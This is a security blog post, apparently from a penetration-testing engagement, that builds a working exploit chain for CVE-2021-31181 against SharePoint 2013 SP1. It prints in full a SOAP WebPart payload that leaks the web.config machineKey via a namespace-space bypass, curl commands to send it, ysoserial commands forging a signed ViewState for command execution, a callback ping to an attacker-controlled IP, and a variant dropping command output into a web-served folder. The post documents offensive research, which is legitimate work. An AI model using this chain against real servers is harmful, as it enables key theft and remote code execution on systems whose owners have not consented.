
By David Montoro (LinkedIn)
TL;DR
During a recent offensive engagement, we ran into a classic and frustrating scenario. We found an outdated SharePoint 2013 server. It was vulnerable on paper, but none of the public exploits worked out of the box.
We decided to focus on CVE-2021-31181, a RCE vulnerability. There was a Metasploit module available and a technical write-up by ZDI, but we still hit a wall. The Metasploit module simply failed against our target, and the ZDI post, by desing, stopped short of providing a ready-to-use PoC.
In this post, we’ll explain how we combined these two incomplete resources to build a fully functional exploit for SharePoint 2013 SP1. More than just sharing the technical details, we want to highlight an everyday reality in offensive security: just because a public exploit fails, it doesn’t mean the target isn’t vulnerable.
1# CVE-2021-31181
CVE-2021-31181 is commonly presented as a SharePoint Remote Code Execution vulnerability, but the RCE is only the final step of the chain. The bug starts in EditingPageParser.VerifyControlOnSafeList(), the method responsible for validating user-supplied WebPart markup against SharePoint’s safe controls list. Due to a parsing inconsistency, an unsafe control can bypass this validation stage and still be correctly resolved later by the ASP.NET parser.
The abused control is System.Web.UI.WebControls.XmlDataSource, which can be used to make SharePoint load XML content from the local filesystem and reflect part of it back in the response. This turns the initial bug into a file disclosure primitive. The most valuable target is web.config, since it may contain the machineKey material used to protect ViewState.
Once the ViewState validation key and algorithm are known, the attacker can craft a cryptographically valid ViewState payload. SharePoint will accept it as trusted application state and deserialize it, leading to code execution in the context of the SharePoint web application service account. In other words, the vulnerability is not a single magic request, but a chain of several steps.
2# Existing resources are valuable, but not enough
If you try to exploit this vulnerability, you will probably land first on ZDI’s blog post and Metasploit’s windows/http/sharepoint_unsafe_control module. Both resources are extremely useful, but neither of them was enough for our specific target.
ZDI provides the best technical explanation of the vulnerability: the parser inconsistency, the abuse of XmlDataSource, the web.config disclosure and the later ViewState forgery. However, it was never meant to be a ready-to-use exploit. More importantly for us, its walkthrough focuses on newer SharePoint versions, while our target was a legacy SharePoint 2013 SP1 deployment. That gap mattered.
Metasploit looked like the natural next step, but it had a similar limitation. The module explicitly states that it was tested against SharePoint 2019 and 2016 on Windows Server 2016, while we were facing SharePoint 2013 on Windows Server 2008. A quick look at the code already explains why it could not work out of the box: the first WebPart payload used to leak the ViewState validation key hardcodes the SharePoint assembly version as 16.0.0.0.
Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"
That version is valid for the 16.x branch, but SharePoint 2013 expects 15.0.0.0. As a result, the leak primitive dies before reaching the ViewState signing stage. On top of that, the module defaults SP_LIST to Documents, which only works if the target site exposes a list with that exact name. In our Spanish-based instance, the correct value was “Documentos“. Small assumptions like these are easy to miss, but they completely decide whether the exploit chain moves forward or fails silently.
3# Exploiting CVE-2021-31181: A functional proof-of-concept
Let’s now focus on the actual exploitation of our specific target. The exploit will chain two core steps:
- Leaking the validation key sending a WebPart abusing
System.Web.UI.WebControls.XmlDataSource - Crafting a serialized payload with ysoserial and sending it in the
__VIEWSTATEparameter
In this demonstration, we will work on a site called “calidad” in our SharePoint target. The first step is to obtain the webid value of the site, which can be found at https://vuln-sharepoint/SITE_NAME/_api/web/id.

The webid value is 8fb71ffc-f43b-4650-ab95-9bd706cd6b0a for the “calidad” SharePoint site.
Next, we will use the SPList “Documentos” (“Documents” for english-based deployments) for crafting the XML payload intended to leak the validation key. The complete payload is as follows:
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope"> <soap12:Body> <RenderWebPartForEdit xmlns="http://microsoft.com/sharepoint/webpartpages"> <webPartXml> <![CDATA[ <%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <%@Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"%> <WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="Documentos" WebId="{8fb71ffc-f43b-4650-ab95-9bd706cd6b0a}"> <DataSources> <att:xmldatasource runat="server" id="XDS1" XPath="/configuration/system.web/machineKey" datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/443/web.config" /> </DataSources> <xsl> <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="xml" indent="yes"/> <xsl:template match="/" > <xsl:copy-of select="."/> </xsl:template> </xsl:stylesheet> </xsl> </WebPartPages:XsltListFormWebPart> ]]> </webPartXml> </RenderWebPartForEdit> </soap12:Body></soap12:Envelope>
Note how the Namespace="System.Web.UI.WebControls " contains a space at the end, which triggers the bug in EditingPageParser.VerifyControlOnSafeList() and effectively bypasses user-supplied WebPart validation.
This XML payload was the first failure point for us both in ZDI’s blog post and Metasploit module, where Version=16.0.0.0 was hardcoded. Note how we changed that for Version=15.0.0.0 which corresponds to SharePoint 2013 releases. Note also how we set ListDisplayName="Documentos" instead of ListDisplayName="Documents" due to the language of the SP instance.
At this point, it is handy to save this payload in a XML file. During our engagement, we have found CURL as the most suitable way of sending this POST request while handling at the same time NTLM authentication (as you may know, this RCE requires an authenticated SharePoint user).
The SharePoint endpoint which receives and processes this WebPart is https://vuln-sharepoint/_vti_bin/WebPartPages.asmx. Then, the CURL command to leak the validation key off the web.config file is:
curl --ntlm -u 'YOUR_SP_USER:YOUR_SP_PASSWORD' -XPOST -k \-H "Content-Type: application/soap+xml; charset=utf-8" \-s "https://vuln-sharepoint/_vti_bin/WebPartPages.asmx" \--data-binary @webpart_payload.xml
At the end of a large HTTP response, you’ll be able to find the validationKey and validation algorithm.

Before heading to ysoserial, the __VIEWSTATEGENERATOR value remains to be obtained. You can find it in /_layouts/15/success.aspx under your targeted SP site. In our case, the whole URL is:
https://vuln-sharepoint/calidad/_layouts/15/success.aspx.
Search for “__VIEWSTATEGENERATOR” in the page’s source code and you will spot it:

The __VIEWSTATEGENERATOR value is D180556F.
Once we’ve got the validation key, __VIEWSTATEGENERATOR value and validation algorithm (HMACSHA256), we reach the second step of the chain. As in every other ASP.NET web application, you can craft a signed serialized VIEWSTATE payload to trigger RCE in the webserver assuming that you have managed to leak the validation key.
For the ysoserial command, the gadget TypeConfuseDelegate will be used. As this vulnerability is a blind command execution, we thought of using ping against a public IP controlled by us to confirm successful command execution.
Below you can find the ysoserial.exe command which was used.
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "ping OUR.OWN.PUBLIC.IP"--generator="D180556F" --validationkey="LEAKED_VALIDATION_KEY..." --validationalg="HMACSHA256" --islegacy --minify

The generated payload is already serialized and encoded. This will be the content of the __VIEWSTATE parameter.
To trigger the deserialization of the payload and therefore the command execution, a GET request must be made to the same endpoint where the __VIEWSTATEGENERATOR was taken from. In our scenario, the endpoint is:
https://vuln-sharepoint/calidad/_layouts/15/success.aspx?__VIEWSTATE=<ysoserial_payload>
Note that the GET request will fail if the __VIEWSTATE value exceeds the length limit of GET URL-parameters. In that case, you can always rely on a POST request made to the same endpoint.
Using CURL again, triggering the RCE is as simple as:
curl --ntlm -u 'YOUR_SP_USER:YOUR_SP_PASSWORD' -k \-s "https://vuln-sharepoint/calidad/_15/layouts/success.aspx?__VIEWSTATE=<YSO_PAYLOAD>"
However, it is more interesting to send this GET request directly from a browser.

At first sight, you will receive an “error”. Note the quotes, because when checking tcpdump’s output in our public VPS:

RCE confirmed! From here, we started messing up with the EDR and network filtering, which made it harder to upgrade this blind command execution.
However, during that time we discovered some interesting aspects regarding the mapping between physical paths and SharePoint web directories. If you want to write the output of a command to a reachable location from the web service, you can write files under C:\inetpub\wwwroot\wss\VirtualDirectories\443\wpresources which is mapped to https://sharepoint/wpresources/
For example, one could use the following ysoserial command to see commands’ output.
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami /all > C:\inetpub\wwwroot\wss\VirtualDirectories\443\wpresources\mycommand_output.txt"--generator="D180556F" --validationkey="LEAKED_VALIDATION_KEY..." --validationalg="HMACSHA256" --islegacy --minify
And the output of the command would be located at https://sharepoint/wpresources/mycommand_output.txt
4# FINAL THOUGHTS
This case is a good reminder that public exploits are not universal truth. ZDI gave us the technical map, and Metasploit gave us a working direction, but neither of them fully matched the system we had in front of us. Our target was not a clean lab instance of SharePoint 2016 or 2019. It was a legacy SharePoint 2013 SP1 deployment running on Windows Server 2008, with its own language, paths and version-specific details.
That is probably the main takeaway of this post. When a public exploit fails, it is tempting to discard the vulnerability and move on. But in offensive research, failure is often just a signal that some assumption does not match reality. Understanding those assumptions, adapting them carefully and testing each piece of the chain is what makes the difference between “not exploitable” and “not exploitable yet”.
